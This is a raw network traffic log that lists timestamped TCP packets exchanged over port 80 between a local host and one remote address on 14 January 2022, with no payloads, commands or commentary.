Jan 14, 2022 12:29:55.890055895 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.890064001 CET	49872	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:55.890094995 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.890134096 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.890155077 CET	49872	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:55.890172958 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.890208960 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.890247107 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.890252113 CET	49872	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:55.890259981 CET	49872	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:55.890285969 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.890321970 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.890360117 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.890360117 CET	49872	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:55.890398026 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.890435934 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.890441895 CET	49872	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:55.890475035 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.890511036 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.890518904 CET	49872	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:55.890549898 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.890588999 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.890624046 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.890635014 CET	49872	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:55.890646935 CET	49872	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:55.892956018 CET	49872	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:55.901428938 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.901468039 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.901504993 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.901545048 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.901585102 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.901621103 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.901660919 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.901664972 CET	49872	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:55.901701927 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.901706934 CET	49872	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:55.901717901 CET	49872	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:55.901742935 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.901782036 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.901793957 CET	49872	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:55.901823044 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.901886940 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.901926041 CET	49872	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:55.901932001 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.901935101 CET	49872	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:55.901972055 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.902009010 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.902023077 CET	49872	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:55.902051926 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.902091026 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.902110100 CET	49872	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:55.902128935 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.902156115 CET	49872	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:55.902168036 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.902169943 CET	49872	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:55.902205944 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.902245045 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.902252913 CET	49872	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:55.902262926 CET	49872	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:55.902283907 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.902321100 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.902329922 CET	49872	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:55.902337074 CET	49872	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:55.902362108 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.902404070 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.902441025 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.902458906 CET	49872	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:55.902467012 CET	49872	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:55.902467966 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.902506113 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.902544022 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.902584076 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.902586937 CET	49872	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:55.902596951 CET	49872	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:55.902621031 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.902659893 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.902698040 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.902734041 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.902741909 CET	49872	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:55.902750969 CET	49872	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:55.902774096 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.902838945 CET	49872	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:55.907874107 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.907918930 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.907957077 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.907996893 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.908032894 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.908071995 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.908108950 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.908111095 CET	49872	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:55.908124924 CET	49872	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:55.908152103 CET	49872	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:55.908153057 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.908195019 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.908231020 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.908268929 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.908273935 CET	49872	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:55.908282995 CET	49872	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:55.908308983 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.908346891 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.908385992 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.908401012 CET	49872	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:55.908426046 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.908466101 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.908471107 CET	49872	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:55.908498049 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.908548117 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.908587933 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.908607006 CET	49872	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:55.908615112 CET	49872	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:55.908627987 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.908665895 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.908704996 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.908744097 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.908745050 CET	49872	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:55.908750057 CET	49872	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:55.908782005 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.908822060 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.908860922 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.908875942 CET	49872	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:55.908900976 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.908941984 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.908953905 CET	49872	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:55.908982038 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.909020901 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.909060001 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.909068108 CET	49872	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:55.909074068 CET	49872	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:55.909101009 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.909140110 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.909178972 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.909183025 CET	49872	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:55.909219027 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.909250975 CET	49872	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:55.909259081 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.909296989 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.909336090 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.909342051 CET	49872	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:55.909375906 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.909415960 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.909432888 CET	49872	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:55.909456968 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.909495115 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.909502983 CET	49872	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:55.909537077 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.909574986 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.909626007 CET	49872	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:55.909626961 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.909631968 CET	49872	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:55.909666061 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.909703970 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.909740925 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.909787893 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.909821033 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.909835100 CET	49872	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:55.909841061 CET	49872	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:55.909877062 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.909903049 CET	49872	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:55.909913063 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.909939051 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.909970999 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.910002947 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.910033941 CET	49872	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:55.910036087 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.910041094 CET	49872	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:55.910069942 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.910103083 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.910134077 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.910155058 CET	49872	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:55.910161018 CET	49872	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:55.910166979 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.910201073 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.910231113 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.910263062 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.910280943 CET	49872	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:55.910286903 CET	49872	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:55.910295010 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.910327911 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.910361052 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.910391092 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.910408020 CET	49872	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:55.910413980 CET	49872	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:55.910423994 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.910458088 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.910489082 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.910523891 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.910537958 CET	49872	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:55.910545111 CET	49872	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:55.910557032 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.910590887 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.910624981 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.910655022 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.910677910 CET	49872	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:55.910685062 CET	49872	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:55.910689116 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.910722017 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.910753012 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.910784960 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.910801888 CET	49872	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:55.910808086 CET	49872	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:55.910818100 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.910851955 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.910885096 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.910898924 CET	49872	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:55.910916090 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.910948992 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.910979986 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.910983086 CET	49872	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:55.911011934 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.911045074 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.911063910 CET	49872	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:55.911071062 CET	49872	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:55.911077023 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.911117077 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.911149979 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.911180973 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.911191940 CET	49872	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:55.911199093 CET	49872	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:55.911214113 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.911246061 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.911276102 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.911290884 CET	49872	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:55.911309004 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.911339998 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.911372900 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.911406040 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.911422014 CET	49872	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:55.911427975 CET	49872	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:55.911437035 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.911469936 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.911503077 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.911533117 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.911545992 CET	49872	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:55.911551952 CET	49872	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:55.911566973 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.911600113 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.911632061 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.911633968 CET	49872	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:55.911665916 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.911689043 CET	49872	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:55.911696911 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.911729097 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.911761045 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.911761045 CET	49872	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:55.911777973 CET	49872	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:55.920066118 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.920120955 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.920155048 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.920187950 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.920212984 CET	49872	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:55.920221090 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.920245886 CET	49872	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:55.920253992 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.920289993 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.920321941 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.920356035 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.920357943 CET	49872	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:55.920387030 CET	49872	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:55.920387983 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.920420885 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.920454025 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.920474052 CET	49872	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:55.920484066 CET	49872	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:55.920485973 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.920519114 CET	49872	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:55.920520067 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.920552969 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.920567036 CET	49872	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:55.920577049 CET	49872	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:55.920587063 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.920620918 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.920650959 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.920682907 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.920711994 CET	49872	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:55.920715094 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.920722961 CET	49872	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:55.920748949 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.920783043 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.920814037 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.920835972 CET	49872	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:55.920844078 CET	49872	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:55.920849085 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.920883894 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.921237946 CET	49872	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:55.923305035 CET	49872	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:55.928952932 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.928992033 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.929023027 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.929056883 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.929078102 CET	49872	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:55.929091930 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.929115057 CET	49872	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:55.929126024 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.929160118 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.929193020 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.929209948 CET	49872	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:55.929224968 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.929244041 CET	49872	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:55.929258108 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.929279089 CET	49872	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:55.929291964 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.929327011 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.929369926 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.929414988 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.929455996 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.929493904 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.929507971 CET	49872	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:55.929529905 CET	49872	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:55.929533958 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.929539919 CET	49872	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:55.929574966 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.929596901 CET	49872	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:55.929613113 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.929656029 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.929694891 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.929732084 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.929769039 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.929780960 CET	49872	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:55.929796934 CET	49872	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:55.929810047 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.929819107 CET	49872	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:55.929883003 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.929924011 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.929961920 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.930000067 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.930016041 CET	49872	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:55.930031061 CET	49872	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:55.930038929 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.930079937 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.930118084 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.930157900 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.930177927 CET	49872	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:55.930191994 CET	49872	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:55.930197001 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.930234909 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.930274010 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.930314064 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.930330992 CET	49872	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:55.930344105 CET	49872	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:55.930356026 CET	80	49872	8.209.70.0	192.168.2.4
